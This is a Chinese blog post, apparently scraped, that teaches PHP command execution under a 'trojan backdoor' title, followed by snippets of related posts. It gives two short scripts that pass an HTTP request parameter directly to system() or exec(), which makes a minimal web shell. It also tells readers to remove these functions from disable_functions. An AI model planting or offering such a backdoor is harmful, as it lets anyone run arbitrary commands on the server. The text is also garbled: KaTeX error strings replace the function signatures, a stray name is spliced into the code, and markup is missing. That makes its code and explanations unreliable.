php執行cmd shell命令 木馬小後門

2021-10-09 23:14:07 字數 1167 閱讀 3983

php執行shell命令,可以使用下面幾個函式:

string system ( string katex parse error: expected 'eof', got '&' at position 16: command [, int &̲return_var ] )string exec ( string katex parse error: expected 'eof', got '&' at position 18: …mmand [, array &̲output [, int &$return_var ]] )void passthru ( string katex parse error: expected 'eof', got '&' at position 16: command [, int &̲return_var ] )

注意:這三個函式在預設的情況下,都是被禁止了的

如果要使用這幾個函式,

就要先修改php的配置檔案php.ini

查詢關鍵字disable_functions,將這一項中的這幾個函式名刪除掉

然後注意重啟apache。

首先看一下system()和passthru()兩個功能類似,可以互換:

<?php#獲取網頁傳遞引數$shell = $_request['shell'];echo "

";system($shell, $status);echo "
";//注意shell命令的執行結果和執行返回的狀態值的對應關係$shell = "

$shell";if( $status )執行失敗";} else 成功執行";}?>

訪問位址,並傳遞shell引數

注意,system()會將shell命令執行之後,立馬顯示結果,這一點會比較不方便,因為我們有時候不需要結果立馬輸出,甚至不需要輸出,於是可以用到exec()

exec()的使用示例:

<?php$shell =

艾曉園 $_request['shell'];exec($shell, $result, $status);$shell = "

$shell";echo "

";if( $status )執行失敗";} else 成功執行, 結果如下

";print_r( $result );}echo "

";?>

exec()執行shell命令成功,但是並不返回結果,需要使用輸出命令,輸出$result結果

cmd shell實用命令

eg 切換到d盤根目錄 c users admin d 注 相當於linux下的sudo命令 提公升到管理員許可權,是指隸屬管理員組的使用者名稱 需得知道登入密碼 eg c users admin runas user administrator cmdcd.往前乙個目錄回退 cd 回到磁碟根目錄 ...

PHP執行root命令

在玩c 以前 玩過一段時間的php,哪個時候需要用php 來執行root命令,一直未果,直到有一天搜尋到了super這個外掛程式.隨著玩c的日子多了.發現可以用c語言來包裹 要執行的外部命令.實驗了一下.成功了.不需要任何外部工具就可以實現用php 執行root命令.我下面就把方法發布給大家,有需求...

PHP執行cmd命令

本文介紹下,在php 中執行cmd命令的方法,介紹下在php.ini檔案中配置safe mode引數支援命令執行的方法,有需要的朋友參考下。說明 本節內容在wamp包安裝的環境實現。首先,開啟php.ini,關掉安全模式safe mode off,然後在看看 禁用函式列表 disable funct...